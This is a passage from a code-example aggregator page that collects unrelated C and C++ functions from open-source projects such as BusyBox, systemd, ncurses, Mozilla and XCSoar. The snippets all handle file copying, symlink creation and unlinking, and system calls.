				: O_WRONLY|O_CREAT|O_TRUNC, source_stat.st_mode);
		if (dst_fd == -1) {
			// We would not do POSIX insanity. -i asks,
			// then _unlinks_ the offender. Presto.
			// Or else we will end up having 3 open()s!
			ovr = retry_overwrite(dest, flags);
			if (ovr <= 0) {
				close(src_fd);
				return ovr;
			}
			dst_fd = open(dest, O_WRONLY|O_CREAT|O_TRUNC, source_stat.st_mode);
			if (dst_fd == -1) {
				bb_perror_msg("cannot open '%s'", dest);
				close(src_fd);
				return -1;
			}
		}

		if (bb_copyfd_eof(src_fd, dst_fd) == -1)
			status = -1;
		if (close(dst_fd) < 0) {
			bb_perror_msg("cannot close '%s'", dest);
			status = -1;
		}
		if (close(src_fd) < 0) {
			bb_perror_msg("cannot close '%s'", source);
			status = -1;
		}

	} else if (S_ISBLK(source_stat.st_mode) || S_ISCHR(source_stat.st_mode)
	 || S_ISSOCK(source_stat.st_mode) || S_ISFIFO(source_stat.st_mode)
	 || S_ISLNK(source_stat.st_mode)
	) {
		// We are lazy here, a bit lax with races...
		if (dest_exists) {
			ovr = retry_overwrite(dest, flags);
			if (ovr <= 0)
				return ovr;
		}
		if (S_ISFIFO(source_stat.st_mode)) {
			if (mkfifo(dest, source_stat.st_mode) < 0) {
				bb_perror_msg("cannot create fifo '%s'", dest);
				return -1;
			}
		} else if (S_ISLNK(source_stat.st_mode)) {
			char *lpath;

			lpath = xreadlink(source);
			if (symlink(lpath, dest) < 0) {
				bb_perror_msg("cannot create symlink '%s'", dest);
				free(lpath);
				return -1;
			}
			free(lpath);

			if (flags & FILEUTILS_PRESERVE_STATUS)
				if (lchown(dest, source_stat.st_uid, source_stat.st_gid) < 0)
					bb_perror_msg("cannot preserve %s of '%s'", "ownership", dest);

			return 0;

		} else {
			if (mknod(dest, source_stat.st_mode, source_stat.st_rdev) < 0) {
				bb_perror_msg("cannot create '%s'", dest);
				return -1;
			}
		}
	} else {
		bb_error_msg("internal error: unrecognized file type");
		return -1;
	}

 preserve_status:

	if (flags & FILEUTILS_PRESERVE_STATUS
	/* Cannot happen: */
	/* && !(flags & (FILEUTILS_MAKE_SOFTLINK|FILEUTILS_MAKE_HARDLINK)) */
	) {
		struct utimbuf times;

		times.actime = source_stat.st_atime;
		times.modtime = source_stat.st_mtime;
		if (utime(dest, &times) < 0)
			bb_perror_msg("cannot preserve %s of '%s'", "times", dest);
		if (chown(dest, source_stat.st_uid, source_stat.st_gid) < 0) {
			source_stat.st_mode &= ~(S_ISUID | S_ISGID);
			bb_perror_msg("cannot preserve %s of '%s'", "ownership", dest);
		}
		if (chmod(dest, source_stat.st_mode) < 0)
			bb_perror_msg("cannot preserve %s of '%s'", "permissions", dest);
	}

	return status;
}
コード例 #19
0
void FAST_FUNC data_extract_all(archive_handle_t *archive_handle)
{
	file_header_t *file_header = archive_handle->file_header;
	int dst_fd;
	int res;

#if ENABLE_FEATURE_TAR_SELINUX
	char *sctx = archive_handle->tar__next_file_sctx;
	if (!sctx)
		sctx = archive_handle->tar__global_sctx;
	if (sctx) { /* setfscreatecon is 4 syscalls, avoid if possible */
		setfscreatecon(sctx);
		free(archive_handle->tar__next_file_sctx);
		archive_handle->tar__next_file_sctx = NULL;
	}
#endif

	if (archive_handle->ah_flags & ARCHIVE_CREATE_LEADING_DIRS) {
		char *slash = strrchr(file_header->name, '/');
		if (slash) {
			*slash = '\0';
			bb_make_directory(file_header->name, -1, FILEUTILS_RECUR);
			*slash = '/';
		}
	}

	if (archive_handle->ah_flags & ARCHIVE_UNLINK_OLD) {
		/* Remove the entry if it exists */
		if (!S_ISDIR(file_header->mode)) {
			/* Is it hardlink?
			 * We encode hard links as regular files of size 0 with a symlink */
			if (S_ISREG(file_header->mode)
			 && file_header->link_target
			 && file_header->size == 0
			) {
				/* Ugly special case:
				 * tar cf t.tar hardlink1 hardlink2 hardlink1
				 * results in this tarball structure:
				 * hardlink1
				 * hardlink2 -> hardlink1
				 * hardlink1 -> hardlink1 <== !!!
				 */
				if (strcmp(file_header->link_target, file_header->name) == 0)
					goto ret;
			}
			/* Proceed with deleting */
			if (unlink(file_header->name) == -1
			 && errno != ENOENT
			) {
				bb_perror_msg_and_die("can't remove old file %s",
						file_header->name);
			}
		}
	}
	else if (archive_handle->ah_flags & ARCHIVE_EXTRACT_NEWER) {
		/* Remove the existing entry if its older than the extracted entry */
		struct stat existing_sb;
		if (lstat(file_header->name, &existing_sb) == -1) {
			if (errno != ENOENT) {
				bb_perror_msg_and_die("can't stat old file");
			}
		}
		else if (existing_sb.st_mtime >= file_header->mtime) {
			if (!(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
			 && !S_ISDIR(file_header->mode)
			) {
				bb_error_msg("%s not created: newer or "
					"same age file exists", file_header->name);
			}
			data_skip(archive_handle);
			goto ret;
		}
		else if ((unlink(file_header->name) == -1) && (errno != EISDIR)) {
			bb_perror_msg_and_die("can't remove old file %s",
					file_header->name);
		}
	}

	/* Handle hard links separately
	 * We encode hard links as regular files of size 0 with a symlink */
	if (S_ISREG(file_header->mode)
	 && file_header->link_target
	 && file_header->size == 0
	) {
		/* hard link */
		res = link(file_header->link_target, file_header->name);
		if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)) {
			bb_perror_msg("can't create %slink "
					"from %s to %s", "hard",
					file_header->name,
					file_header->link_target);
		}
		/* Hardlinks have no separate mode/ownership, skip chown/chmod */
		goto ret;
	}

	/* Create the filesystem entry */
	switch (file_header->mode & S_IFMT) {
	case S_IFREG: {
		/* Regular file */
		int flags = O_WRONLY | O_CREAT | O_EXCL;
		if (archive_handle->ah_flags & ARCHIVE_O_TRUNC)
			flags = O_WRONLY | O_CREAT | O_TRUNC;
		dst_fd = xopen3(file_header->name,
			flags,
			file_header->mode
			);
		bb_copyfd_exact_size(archive_handle->src_fd, dst_fd, file_header->size);
		close(dst_fd);
		break;
	}
	case S_IFDIR:
		res = mkdir(file_header->name, file_header->mode);
		if ((res == -1)
		 && (errno != EISDIR) /* btw, Linux doesn't return this */
		 && (errno != EEXIST)
		 && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
		) {
			bb_perror_msg("can't make dir %s", file_header->name);
		}
		break;
	case S_IFLNK:
		/* Symlink */
//TODO: what if file_header->link_target == NULL (say, corrupted tarball?)
		res = symlink(file_header->link_target, file_header->name);
		if ((res == -1)
		 && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
		) {
			bb_perror_msg("can't create %slink "
				"from %s to %s", "sym",
				file_header->name,
				file_header->link_target);
		}
		break;
	case S_IFSOCK:
	case S_IFBLK:
	case S_IFCHR:
	case S_IFIFO:
		res = mknod(file_header->name, file_header->mode, file_header->device);
		if ((res == -1)
		 && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
		) {
			bb_perror_msg("can't create node %s", file_header->name);
		}
		break;
	default:
		bb_error_msg_and_die("unrecognized file type");
	}

	if (!S_ISLNK(file_header->mode)) {
		if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_OWNER)) {
			uid_t uid = file_header->uid;
			gid_t gid = file_header->gid;
#if ENABLE_FEATURE_TAR_UNAME_GNAME
			if (!(archive_handle->ah_flags & ARCHIVE_NUMERIC_OWNER)) {
				if (file_header->tar__uname) {
//TODO: cache last name/id pair?
					struct passwd *pwd = getpwnam(file_header->tar__uname);
					if (pwd) uid = pwd->pw_uid;
				}
				if (file_header->tar__gname) {
					struct group *grp = getgrnam(file_header->tar__gname);
					if (grp) gid = grp->gr_gid;
				}
			}
#endif
			/* GNU tar 1.15.1 uses chown, not lchown */
			chown(file_header->name, uid, gid);
		}
		/* uclibc has no lchmod, glibc is even stranger -
		 * it has lchmod which seems to do nothing!
		 * so we use chmod... */
		if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_PERM)) {
			chmod(file_header->name, file_header->mode);
		}
		if (archive_handle->ah_flags & ARCHIVE_RESTORE_DATE) {
			struct timeval t[2];

			t[1].tv_sec = t[0].tv_sec = file_header->mtime;
			t[1].tv_usec = t[0].tv_usec = 0;
			utimes(file_header->name, t);
		}
	}

 ret: ;
#if ENABLE_FEATURE_TAR_SELINUX
	if (sctx) {
		/* reset the context after creating an entry */
		setfscreatecon(NULL);
	}
#endif
}
コード例 #20
0
ファイル: test-fs-util.c プロジェクト: GuillaumeSeren/systemd
static void test_chase_symlinks(void) {
        _cleanup_free_ char *result = NULL;
        char temp[] = "/tmp/test-chase.XXXXXX";
        const char *top, *p, *q;
        int r;

        assert_se(mkdtemp(temp));

        top = strjoina(temp, "/top");
        assert_se(mkdir(top, 0700) >= 0);

        p = strjoina(top, "/dot");
        assert_se(symlink(".", p) >= 0);

        p = strjoina(top, "/dotdot");
        assert_se(symlink("..", p) >= 0);

        p = strjoina(top, "/dotdota");
        assert_se(symlink("../a", p) >= 0);

        p = strjoina(temp, "/a");
        assert_se(symlink("b", p) >= 0);

        p = strjoina(temp, "/b");
        assert_se(symlink("/usr", p) >= 0);

        p = strjoina(temp, "/start");
        assert_se(symlink("top/dot/dotdota", p) >= 0);

        /* Paths that use symlinks underneath the "root" */

        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, "/usr"));

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r == -ENOENT);

        q = strjoina(temp, "/usr");

        r = chase_symlinks(p, temp, CHASE_NONEXISTENT, &result);
        assert_se(r == 0);
        assert_se(path_equal(result, q));

        assert_se(mkdir(q, 0700) >= 0);

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, q));

        p = strjoina(temp, "/slash");
        assert_se(symlink("/", p) >= 0);

        result = mfree(result);
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, "/"));

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, temp));

        /* Paths that would "escape" outside of the "root" */

        p = strjoina(temp, "/6dots");
        assert_se(symlink("../../..", p) >= 0);

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r > 0 && path_equal(result, temp));

        p = strjoina(temp, "/6dotsusr");
        assert_se(symlink("../../../usr", p) >= 0);

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r > 0 && path_equal(result, q));

        p = strjoina(temp, "/top/8dotsusr");
        assert_se(symlink("../../../../usr", p) >= 0);

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r > 0 && path_equal(result, q));

        /* Paths that contain repeated slashes */

        p = strjoina(temp, "/slashslash");
        assert_se(symlink("///usr///", p) >= 0);

        result = mfree(result);
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, "/usr"));

        result = mfree(result);
        r = chase_symlinks(p, temp, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, q));

        /* Paths using . */

        result = mfree(result);
        r = chase_symlinks("/etc/./.././", NULL, 0, &result);
        assert_se(r > 0);
        assert_se(path_equal(result, "/"));

        result = mfree(result);
        r = chase_symlinks("/etc/./.././", "/etc", 0, &result);
        assert_se(r > 0 && path_equal(result, "/etc"));

        result = mfree(result);
        r = chase_symlinks("/etc/machine-id/foo", NULL, 0, &result);
        assert_se(r == -ENOTDIR);

        /* Path that loops back to self */

        result = mfree(result);
        p = strjoina(temp, "/recursive-symlink");
        assert_se(symlink("recursive-symlink", p) >= 0);
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r == -ELOOP);

        /* Path which doesn't exist */

        p = strjoina(temp, "/idontexist");
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r == -ENOENT);

        r = chase_symlinks(p, NULL, CHASE_NONEXISTENT, &result);
        assert_se(r == 0);
        assert_se(path_equal(result, p));
        result = mfree(result);

        p = strjoina(temp, "/idontexist/meneither");
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r == -ENOENT);

        r = chase_symlinks(p, NULL, CHASE_NONEXISTENT, &result);
        assert_se(r == 0);
        assert_se(path_equal(result, p));
        result = mfree(result);

        /* Path which doesn't exist, but contains weird stuff */

        p = strjoina(temp, "/idontexist/..");
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r == -ENOENT);

        r = chase_symlinks(p, NULL, CHASE_NONEXISTENT, &result);
        assert_se(r == -ENOENT);

        p = strjoina(temp, "/target");
        q = strjoina(temp, "/top");
        assert_se(symlink(q, p) >= 0);
        p = strjoina(temp, "/target/idontexist");
        r = chase_symlinks(p, NULL, 0, &result);
        assert_se(r == -ENOENT);

        assert_se(rm_rf(temp, REMOVE_ROOT|REMOVE_PHYSICAL) >= 0);
}
コード例 #21
0
_nc_write_entry(TERMTYPE2 *const tp)
{
#if USE_HASHED_DB

    char buffer[MAX_ENTRY_SIZE + 1];
    unsigned limit = sizeof(buffer);
    unsigned offset = 0;

#else /* !USE_HASHED_DB */

    struct stat statbuf;
    char filename[PATH_MAX];
    char linkname[PATH_MAX];
#if USE_SYMLINKS
    char symlinkname[PATH_MAX];
#if !HAVE_LINK
#undef HAVE_LINK
#define HAVE_LINK 1
#endif
#endif /* USE_SYMLINKS */

    unsigned limit2 = sizeof(filename) - (2 + LEAF_LEN);
    char saved = '\0';

    static int call_count;
    static time_t start_time;	/* time at start of writes */

#endif /* USE_HASHED_DB */

    char name_list[MAX_TERMINFO_LENGTH];
    char *first_name, *other_names;
    char *ptr;
    char *term_names = tp->term_names;
    size_t name_size = strlen(term_names);

    if (name_size == 0) {
	_nc_syserr_abort("no terminal name found.");
    } else if (name_size >= sizeof(name_list) - 1) {
	_nc_syserr_abort("terminal name too long: %s", term_names);
    }

    _nc_STRCPY(name_list, term_names, sizeof(name_list));
    DEBUG(7, ("Name list = '%s'", name_list));

    first_name = name_list;

    ptr = &name_list[name_size - 1];
    other_names = ptr + 1;

    while (ptr > name_list && *ptr != '|')
	ptr--;

    if (ptr != name_list) {
	*ptr = '\0';

	for (ptr = name_list; *ptr != '\0' && *ptr != '|'; ptr++)
	    continue;

	if (*ptr == '\0')
	    other_names = ptr;
	else {
	    *ptr = '\0';
	    other_names = ptr + 1;
	}
    }

    DEBUG(7, ("First name = '%s'", first_name));
    DEBUG(7, ("Other names = '%s'", other_names));

    _nc_set_type(first_name);

#if USE_HASHED_DB
    if (_nc_write_object(tp, buffer + 1, &offset, limit - 1) != ERR) {
	DB *capdb = _nc_db_open(_nc_tic_dir(0), TRUE);
	DBT key, data;

	if (capdb != 0) {
	    buffer[0] = 0;

	    memset(&key, 0, sizeof(key));
	    key.data = term_names;
	    key.size = name_size;

	    memset(&data, 0, sizeof(data));
	    data.data = buffer;
	    data.size = offset + 1;

	    _nc_db_put(capdb, &key, &data);

	    buffer[0] = 2;

	    key.data = name_list;
	    key.size = strlen(name_list);

	    _nc_STRCPY(buffer + 1,
		       term_names,
		       sizeof(buffer) - 1);
	    data.size = name_size + 1;

	    total_size += data.size;
	    total_parts++;
	    _nc_db_put(capdb, &key, &data);

	    while (*other_names != '\0') {
		ptr = other_names++;
		assert(ptr < buffer + sizeof(buffer) - 1);
		while (*other_names != '|' && *other_names != '\0')
		    other_names++;

		if (*other_names != '\0')
		    *(other_names++) = '\0';

		key.data = ptr;
		key.size = strlen(ptr);

		total_size += data.size;
		total_parts++;
		_nc_db_put(capdb, &key, &data);
	    }
	}
    }
#else /* !USE_HASHED_DB */
    if (call_count++ == 0) {
	start_time = 0;
    }

    if (strlen(first_name) >= sizeof(filename) - (2 + LEAF_LEN)) {
	_nc_warning("terminal name too long.");
	saved = first_name[limit2];
	first_name[limit2] = '\0';
    }

    _nc_SPRINTF(filename, _nc_SLIMIT(sizeof(filename))
		LEAF_FMT "/%s", first_name[0], first_name);

    if (saved)
	first_name[limit2] = saved;

    /*
     * Has this primary name been written since the first call to
     * write_entry()?  If so, the newer write will step on the older,
     * so warn the user.
     */
    if (start_time > 0 &&
	stat(filename, &statbuf) >= 0
	&& statbuf.st_mtime >= start_time) {
#if HAVE_LINK && !USE_SYMLINKS
	/*
	 * If the file has more than one link, the reason for the previous
	 * write could be that the current primary name used to be an alias for
	 * the previous entry.  In that case, unlink the file so that we will
	 * not modify the previous entry as we write this one.
	 */
	if (statbuf.st_nlink > 1) {
	    _nc_warning("name redefined.");
	    unlink(filename);
	} else {
	    _nc_warning("name multiply defined.");
	}
#else
	_nc_warning("name multiply defined.");
#endif
    }

    check_writeable(first_name[0]);
    write_file(filename, tp);

    if (start_time == 0) {
	if (stat(filename, &statbuf) < 0
	    || (start_time = statbuf.st_mtime) == 0) {
	    _nc_syserr_abort("error obtaining time from %s/%s",
			     _nc_tic_dir(0), filename);
	}
    }
    while (*other_names != '\0') {
	ptr = other_names++;
	while (*other_names != '|' && *other_names != '\0')
	    other_names++;

	if (*other_names != '\0')
	    *(other_names++) = '\0';

	if (strlen(ptr) > sizeof(linkname) - (2 + LEAF_LEN)) {
	    _nc_warning("terminal alias %s too long.", ptr);
	    continue;
	}
	if (strchr(ptr, '/') != 0) {
	    _nc_warning("cannot link alias %s.", ptr);
	    continue;
	}

	check_writeable(ptr[0]);
	_nc_SPRINTF(linkname, _nc_SLIMIT(sizeof(linkname))
		    LEAF_FMT "/%s", ptr[0], ptr);

	if (strcmp(filename, linkname) == 0) {
	    _nc_warning("self-synonym ignored");
	} else if (stat(linkname, &statbuf) >= 0 &&
		   statbuf.st_mtime < start_time) {
	    _nc_warning("alias %s multiply defined.", ptr);
	} else if (_nc_access(linkname, W_OK) == 0)
#if HAVE_LINK
	{
	    int code;
#if USE_SYMLINKS
#define MY_SIZE sizeof(symlinkname) - 1
	    if (first_name[0] == linkname[0]) {
		_nc_STRNCPY(symlinkname, first_name, MY_SIZE);
	    } else {
		_nc_STRCPY(symlinkname, "../", sizeof(symlinkname));
		_nc_STRNCPY(symlinkname + 3, filename, MY_SIZE - 3);
	    }
	    symlinkname[MY_SIZE] = '\0';
#endif /* USE_SYMLINKS */
#if HAVE_REMOVE
	    code = remove(linkname);
#else
	    code = unlink(linkname);
#endif
	    if (code != 0 && errno == ENOENT)
		code = 0;
#if USE_SYMLINKS
	    if (symlink(symlinkname, linkname) < 0)
#else
	    if (link(filename, linkname) < 0)
#endif /* USE_SYMLINKS */
	    {
		/*
		 * If there wasn't anything there, and we cannot
		 * link to the target because it is the same as the
		 * target, then the source must be on a filesystem
		 * that uses caseless filenames, such as Win32, etc.
		 */
		if (code == 0 && errno == EEXIST)
		    _nc_warning("can't link %s to %s", filename, linkname);
		else if (code == 0 && (errno == EPERM || errno == ENOENT))
		    write_file(linkname, tp);
		else {
#if MIXEDCASE_FILENAMES
		    _nc_syserr_abort("can't link %s to %s", filename, linkname);
#else
		    _nc_warning("can't link %s to %s (errno=%d)", filename,
				linkname, errno);
#endif
		}
	    } else {
		DEBUG(1, ("Linked %s", linkname));
	    }
	}
#else /* just make copies */
	    write_file(linkname, tp);
#endif /* HAVE_LINK */
    }
#endif /* USE_HASHED_DB */
}
コード例 #22
0
ファイル: usb_moded-network.c プロジェクト: iamer/usb-moded
/** 
  * Write udhcpd.conf
  * @ipforward : NULL if we want a simple config, otherwise include dns info etc...
  */
static int write_udhcpd_conf(struct ipforward_data *ipforward, struct mode_list_elem *data)
{
  FILE *conffile;
  char *ip, *interface;
  char *ipstart, *ipend;
  int dot = 0, i = 0, test;
  struct stat st;

  /* /tmp is often tmpfs, so we avoid writing to flash */
  conffile = fopen("/tmp/udhcpd.conf", "w");
  if(conffile == NULL)
  {
	log_debug("Error creating /etc/udhcpd.conf!\n");
	return(1);
  }

  /* generate start and end ip based on the setting */
  ip = get_network_ip();
  if(ip == NULL)
  {
	ip = strdup("192.168.2.15");
  }
  ipstart = malloc(sizeof(char)*15);
  ipend = malloc(sizeof(char)*15);
  while(i < 15)
  {
        if(dot < 3)
        {
                if(ip[i] == '.')
                        dot ++;
                ipstart[i] = ip[i];
                ipend[i] = ip[i];
        }
        else
        {
                ipstart[i] = '\0';
                ipend[i] = '\0';
                break;
        }
        i++;
  }
  strcat(ipstart,"1");
  strcat(ipend, "10");

  interface = get_interface(data);
  /* print all data in the file */
  fprintf(conffile, "start\t%s\n", ipstart);
  fprintf(conffile, "end\t%s\n", ipend);
  fprintf(conffile, "interface\t%s\n", interface);
  fprintf(conffile, "option\tsubnet\t255.255.255.0\n");
  if(ipforward != NULL)
  {
	if(!ipforward->dns1 || !ipforward->dns2)
	{
		log_debug("No dns info!");
	}
	else
		fprintf(conffile, "opt\tdns\t%s %s\n", ipforward->dns1, ipforward->dns2);
	fprintf(conffile, "opt\trouter\t%s\n", ip);
  }

  free(ipstart);
  free(ipend);
  free(ip);
  free(interface);
  fclose(conffile);
  log_debug("/etc/udhcpd.conf written.\n");

  /* check if it is a symlink, if not remove and link, create the link if missing */
  test = stat("/etc/udhcpd.conf", &st);
  /* if stat fails there is no file or link */
  if(test == -1)
	goto link;
  /* if it is not a link we remove it, else we expect the right link to be there */
  if((st.st_mode & S_IFMT) != S_IFLNK)
  {
	unlink("/etc/udhcpd.conf");
  }
  else
	goto end;

link:
  symlink("/tmp/udhcpd.conf", "/etc/udhcpd.conf");

end:

  return(0);
}
コード例 #23
0
nsresult nsProfileLock::LockWithSymlink(const nsACString& lockFilePath, bool aHaveFcntlLock)
{
    nsresult rv;

    struct in_addr inaddr;
    inaddr.s_addr = htonl(INADDR_LOOPBACK);

    char hostname[256];
    PRStatus status = PR_GetSystemInfo(PR_SI_HOSTNAME, hostname, sizeof hostname);
    if (status == PR_SUCCESS)
    {
        char netdbbuf[PR_NETDB_BUF_SIZE];
        PRHostEnt hostent;
        status = PR_GetHostByName(hostname, netdbbuf, sizeof netdbbuf, &hostent);
        if (status == PR_SUCCESS)
            memcpy(&inaddr, hostent.h_addr, sizeof inaddr);
    }

    char *signature =
        PR_smprintf("%s:%s%lu", inet_ntoa(inaddr), aHaveFcntlLock ? "+" : "",
                    (unsigned long)getpid());
    const nsPromiseFlatCString& flat = PromiseFlatCString(lockFilePath);
    const char *fileName = flat.get();
    int symlink_rv, symlink_errno = 0, tries = 0;

    // use ns4.x-compatible symlinks if the FS supports them
    while ((symlink_rv = symlink(signature, fileName)) < 0)
    {
        symlink_errno = errno;
        if (symlink_errno != EEXIST)
            break;

        if (!IsSymlinkStaleLock(&inaddr, fileName, aHaveFcntlLock))
            break;

        // Lock seems to be bogus: try to claim it.  Give up after a large
        // number of attempts (100 comes from the 4.x codebase).
        (void) unlink(fileName);
        if (++tries > 100)
            break;
    }

    PR_smprintf_free(signature);
    signature = nsnull;

    if (symlink_rv == 0)
    {
        // We exclusively created the symlink: record its name for eventual
        // unlock-via-unlink.
        rv = NS_OK;
        mHaveLock = PR_TRUE;
        mPidLockFileName = strdup(fileName);
        if (mPidLockFileName)
        {
            PR_APPEND_LINK(this, &mPidLockList);
            if (!setupPidLockCleanup++)
            {
                // Clean up on normal termination.
                // This instanciates a dummy class, and will trigger the class
                // destructor when libxul is unloaded. This is equivalent to atexit(),
                // but gracefully handles dlclose().
                static RemovePidLockFilesExiting r;

                // Clean up on abnormal termination, using POSIX sigaction.
                // Don't arm a handler if the signal is being ignored, e.g.,
                // because mozilla is run via nohup.
                if (!sDisableSignalHandling) {
                    struct sigaction act, oldact;
#ifdef SA_SIGINFO
                    act.sa_sigaction = FatalSignalHandler;
                    act.sa_flags = SA_SIGINFO;
#else
                    act.sa_handler = FatalSignalHandler;
#endif
                    sigfillset(&act.sa_mask);

#define CATCH_SIGNAL(signame)                                           \
PR_BEGIN_MACRO                                                          \
  if (sigaction(signame, NULL, &oldact) == 0 &&                         \
      oldact.sa_handler != SIG_IGN)                                     \
  {                                                                     \
      sigaction(signame, &act, &signame##_oldact);                      \
  }                                                                     \
  PR_END_MACRO

                    CATCH_SIGNAL(SIGHUP);
                    CATCH_SIGNAL(SIGINT);
                    CATCH_SIGNAL(SIGQUIT);
                    CATCH_SIGNAL(SIGILL);
                    CATCH_SIGNAL(SIGABRT);
                    CATCH_SIGNAL(SIGSEGV);
                    CATCH_SIGNAL(SIGTERM);

#undef CATCH_SIGNAL
                }
            }
        }
    }
    else if (symlink_errno == EEXIST)
        rv = NS_ERROR_FILE_ACCESS_DENIED;
    else
    {
#ifdef DEBUG
        printf("symlink() failed. errno = %d\n", errno);
#endif
        rv = NS_ERROR_FAILURE;
    }
    return rv;
}
コード例 #24
0
ファイル: ConfiguredPort.cpp プロジェクト: henrik1g/XCSoar
static Port *
OpenPortInternal(const DeviceConfig &config, DataHandler &handler)
{
  const TCHAR *path = NULL;
  TCHAR buffer[MAX_PATH];

  switch (config.port_type) {
  case DeviceConfig::PortType::DISABLED:
    return NULL;

  case DeviceConfig::PortType::SERIAL:
    if (config.path.empty())
      return NULL;

    path = config.path.c_str();
    break;

  case DeviceConfig::PortType::RFCOMM:
#ifdef ANDROID
    if (config.bluetooth_mac.empty()) {
      LogFormat("No Bluetooth MAC configured");
      return NULL;
    }

    return OpenAndroidBluetoothPort(config.bluetooth_mac, handler);
#else
    LogFormat("Bluetooth not available on this platform");
    return NULL;
#endif

  case DeviceConfig::PortType::RFCOMM_SERVER:
#ifdef ANDROID
    return OpenAndroidBluetoothServerPort(handler);
#else
    LogFormat("Bluetooth not available on this platform");
    return NULL;
#endif

  case DeviceConfig::PortType::IOIOUART:
#if defined(ANDROID) && defined(IOIOLIB)
    if (config.ioio_uart_id >= AndroidIOIOUartPort::getNumberUarts()) {
      LogFormat("No IOIOUart configured in profile");
      return NULL;
    }

    return OpenAndroidIOIOUartPort(config.ioio_uart_id, config.baud_rate,
                                   handler);
#else
    LogFormat("IOIO Uart not available on this platform or version");
    return NULL;
#endif

  case DeviceConfig::PortType::AUTO:
    if (!DetectGPS(buffer, sizeof(buffer))) {
      LogFormat("no GPS detected");
      return NULL;
    }

    LogStartUp(_T("GPS detected: %s"), buffer);

    path = buffer;
    break;

  case DeviceConfig::PortType::INTERNAL:
  case DeviceConfig::PortType::DROIDSOAR_V2:
  case DeviceConfig::PortType::NUNCHUCK:
  case DeviceConfig::PortType::I2CPRESSURESENSOR:
  case DeviceConfig::PortType::IOIOVOLTAGE:
    break;

  case DeviceConfig::PortType::TCP_LISTENER: {
    TCPPort *port = new TCPPort(handler);
    if (!port->Open(config.tcp_port)) {
      delete port;
      return NULL;
    }

    return port;
  }

  case DeviceConfig::PortType::UDP_LISTENER: {
    SocketPort *port = new SocketPort(handler);
    if (!port->OpenUDPListener(config.tcp_port)) {
      delete port;
      return NULL;
    }

    return port;
  }

  case DeviceConfig::PortType::PTY: {
#if defined(HAVE_POSIX) && !defined(ANDROID)
    if (config.path.empty())
      return NULL;

    if (unlink(config.path.c_str()) < 0 && errno != ENOENT)
      return NULL;

    TTYPort *port = new TTYPort(handler);
    const char *slave_path = port->OpenPseudo();
    if (slave_path == NULL) {
      delete port;
      return NULL;
    }

    if (symlink(slave_path, config.path.c_str()) < 0) {
      delete port;
      return NULL;
    }

    return port;
#else
    return NULL;
#endif
  }
  }

  if (path == NULL)
    return NULL;

#ifdef HAVE_POSIX
  TTYPort *port = new TTYPort(handler);
#else
  SerialPort *port = new SerialPort(handler);
#endif
  if (!port->Open(path, config.baud_rate)) {
    delete port;
    return NULL;
  }

  return port;
}
コード例 #25
0
ファイル: pjdfstest.c プロジェクト: JabirTech/Source
static unsigned int
call_syscall(struct syscall_desc *scall, char *argv[])
{
	struct stat64 sb;
	long long flags;
	unsigned int i;
	char *endp;
	int name, rval;
	union {
		char *str;
		long long num;
	} args[MAX_ARGS];
#ifdef HAS_FREEBSD_ACL
	int entry_id = ACL_FIRST_ENTRY;
	acl_t acl, newacl;
	acl_entry_t entry, newentry;
#endif

	/*
	 * Verify correctness of the arguments.
	 */
	for (i = 0; i < sizeof(args)/sizeof(args[0]); i++) {
		if (scall->sd_args[i] == TYPE_NONE) {
			if (argv[i] == NULL || strcmp(argv[i], ":") == 0)
				break;
			fprintf(stderr, "too many arguments [%s]\n", argv[i]);
			exit(1);
		} else {
			if (argv[i] == NULL || strcmp(argv[i], ":") == 0) {
				if (scall->sd_args[i] & TYPE_OPTIONAL)
					break;
				fprintf(stderr, "too few arguments\n");
				exit(1);
			}
			if ((scall->sd_args[i] & TYPE_MASK) == TYPE_STRING) {
				if (strcmp(argv[i], "NULL") == 0)
					args[i].str = NULL;
				else if (strcmp(argv[i], "DEADCODE") == 0)
					args[i].str = (void *)0xdeadc0de;
				else
					args[i].str = argv[i];
			} else if ((scall->sd_args[i] & TYPE_MASK) ==
			    TYPE_NUMBER) {
				args[i].num = strtoll(argv[i], &endp, 0);
				if (*endp != '\0' &&
				    !isspace((unsigned char)*endp)) {
					fprintf(stderr,
					    "invalid argument %u, number expected [%s]\n",
					    i, endp);
					exit(1);
				}
			} else if ((scall->sd_args[i] & TYPE_MASK) ==
			    TYPE_DESCRIPTOR) {
				if (strcmp(argv[i], "AT_FDCWD") == 0) {
					args[i].num = AT_FDCWD;
				} else if (strcmp(argv[i], "BADFD") == 0) {
					/* In case AT_FDCWD is -1 on some systems... */
					if (AT_FDCWD == -1)
						args[i].num = -2;
					else
						args[i].num = -1;
				} else {
					int pos;

					pos = strtoll(argv[i], &endp, 0);
					if (*endp != '\0' &&
					    !isspace((unsigned char)*endp)) {
						fprintf(stderr,
						    "invalid argument %u, number expected [%s]\n",
						    i, endp);
						exit(1);
					}
					args[i].num = descriptor_get(pos);
				}
			}
		}
	}
	/*
	 * Call the given syscall.
	 */
#define	NUM(n)	(args[(n)].num)
#define	STR(n)	(args[(n)].str)
	switch (scall->sd_action) {
	case ACTION_OPEN:
		flags = str2flags(open_flags, STR(1));
